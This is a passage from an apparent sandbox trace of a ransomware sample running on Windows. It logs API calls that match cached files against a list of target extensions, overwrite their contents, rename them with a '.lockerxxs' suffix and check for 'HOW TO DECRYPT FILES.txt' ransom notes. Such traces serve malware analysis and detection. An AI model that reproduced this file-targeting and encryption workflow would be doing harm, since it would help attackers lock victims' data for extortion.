(in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.286] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x795, lpOverlapped=0x0) returned 1 [0084.287] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg") returned="BBC06Ub[1].jpg" [0084.287] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.288] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x795, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x795, lpOverlapped=0x0) returned 1 [0084.288] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.288] CloseHandle (hObject=0xa4) returned 1 [0084.288] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg.lockerxxs")) returned 1 [0084.289] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e74850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e74850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e74850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9ab, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0Djg[1].jpg", cAlternateFileName="BBC0DJ~1.JPG")) returned 1 [0084.289] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.289] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0Djg[1].jpg") returned 1 [0084.289] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0Djg[1].jpg") returned 1 [0084.289] lstrcmpiA (lpString1="", lpString2="BBC0Djg[1].jpg") returned -1 [0084.289] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg") returned="BBC06Ub[1].jpg" [0084.289] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.289] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.289] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.289] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.289] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC0Djg[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.ems") returned 0 [0084.290] lstrlenA (lpString="*.ems") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.db") returned 0 [0084.290] lstrlenA (lpString="*.db") returned 4 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.dbf") returned 0 [0084.290] lstrlenA (lpString="*.dbf") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.myox") returned 0 [0084.290] lstrlenA (lpString="*.myox") returned 6 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.myo") returned 0 [0084.290] lstrlenA (lpString="*.myo") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qbw") returned 0 [0084.290] lstrlenA (lpString="*.qbw") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qbb") returned 0 [0084.290] lstrlenA (lpString="*.qbb") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qbm") returned 0 [0084.290] lstrlenA (lpString="*.qbm") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qbo") returned 0 [0084.290] lstrlenA (lpString="*.qbo") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qbx") returned 0 [0084.290] lstrlenA (lpString="*.qbx") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qba") returned 0 [0084.290] lstrlenA (lpString="*.qba") returned 5 [0084.290] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qby") returned 0 [0084.291] lstrlenA (lpString="*.qby") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qbj") returned 0 [0084.291] lstrlenA (lpString="*.qbj") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.ofx") returned 0 [0084.291] lstrlenA (lpString="*.ofx") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.qif") returned 0 [0084.291] lstrlenA (lpString="*.qif") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.mye") returned 0 [0084.291] lstrlenA (lpString="*.mye") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.mbox") returned 0 [0084.291] lstrlenA (lpString="*.mbox") returned 6 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.eml") returned 0 [0084.291] lstrlenA (lpString="*.eml") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.pst") returned 0 [0084.291] lstrlenA (lpString="*.pst") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.ost") returned 0 [0084.291] lstrlenA (lpString="*.ost") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.idx") returned 0 [0084.291] lstrlenA (lpString="*.idx") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.dbx") returned 0 [0084.291] lstrlenA (lpString="*.dbx") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.sql") returned 0 [0084.291] lstrlenA (lpString="*.sql") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.mdb") returned 0 [0084.291] lstrlenA (lpString="*.mdb") returned 5 [0084.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.fdb") returned 0 [0084.292] lstrlenA (lpString="*.fdb") returned 5 [0084.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.wab") returned 0 [0084.292] lstrlenA (lpString="*.wab") returned 5 [0084.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.dat") returned 0 [0084.292] lstrlenA (lpString="*.dat") returned 5 [0084.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.txt") returned 0 [0084.292] lstrlenA (lpString="*.txt") returned 5 [0084.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.jpeg") returned 0 [0084.292] lstrlenA (lpString="*.jpeg") returned 6 [0084.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", pszSpec="*.jpg") returned 1 [0084.292] lstrlenA (lpString="*.jpg") returned 5 [0084.292] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" [0084.292] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" [0084.292] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg." [0084.292] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.lockerxxs" [0084.292] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.293] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9ab [0084.293] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52e74850, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52e74850, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52e74850, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.293] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.293] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x985, lpOverlapped=0x0) returned 1 [0084.295] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg") returned="BBC0Djg[1].jpg" [0084.295] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.295] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x985, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x985, lpOverlapped=0x0) returned 1 [0084.295] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.295] CloseHandle (hObject=0xa4) returned 1 [0084.295] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg.lockerxxs")) returned 1 [0084.296] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52ec0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52ec0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52ec0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7fd, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC0g7a[1].jpg", cAlternateFileName="BBC0G7~1.JPG")) returned 1 [0084.296] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.296] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC0g7a[1].jpg") returned 1 [0084.296] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC0g7a[1].jpg") returned 1 [0084.296] lstrcmpiA (lpString1="", lpString2="BBC0g7a[1].jpg") returned -1 [0084.296] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg") returned="BBC0Djg[1].jpg" [0084.297] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.297] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.297] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.297] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.297] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBC0g7a[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.ems") returned 0 [0084.297] lstrlenA (lpString="*.ems") returned 5 [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.db") returned 0 [0084.297] lstrlenA (lpString="*.db") returned 4 [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.dbf") returned 0 [0084.297] lstrlenA (lpString="*.dbf") returned 5 [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.myox") returned 0 [0084.297] lstrlenA (lpString="*.myox") returned 6 [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.myo") returned 0 [0084.297] lstrlenA (lpString="*.myo") returned 5 [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qbw") returned 0 [0084.297] lstrlenA (lpString="*.qbw") returned 5 [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qbb") returned 0 [0084.297] lstrlenA (lpString="*.qbb") returned 5 [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qbm") returned 0 [0084.297] lstrlenA (lpString="*.qbm") returned 5 [0084.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qbo") returned 0 [0084.298] lstrlenA (lpString="*.qbo") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg", pszSpec="*.qbx") returned 0 [0084.298] lstrlenA (lpString="*.qbx") returned 5 [0084.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 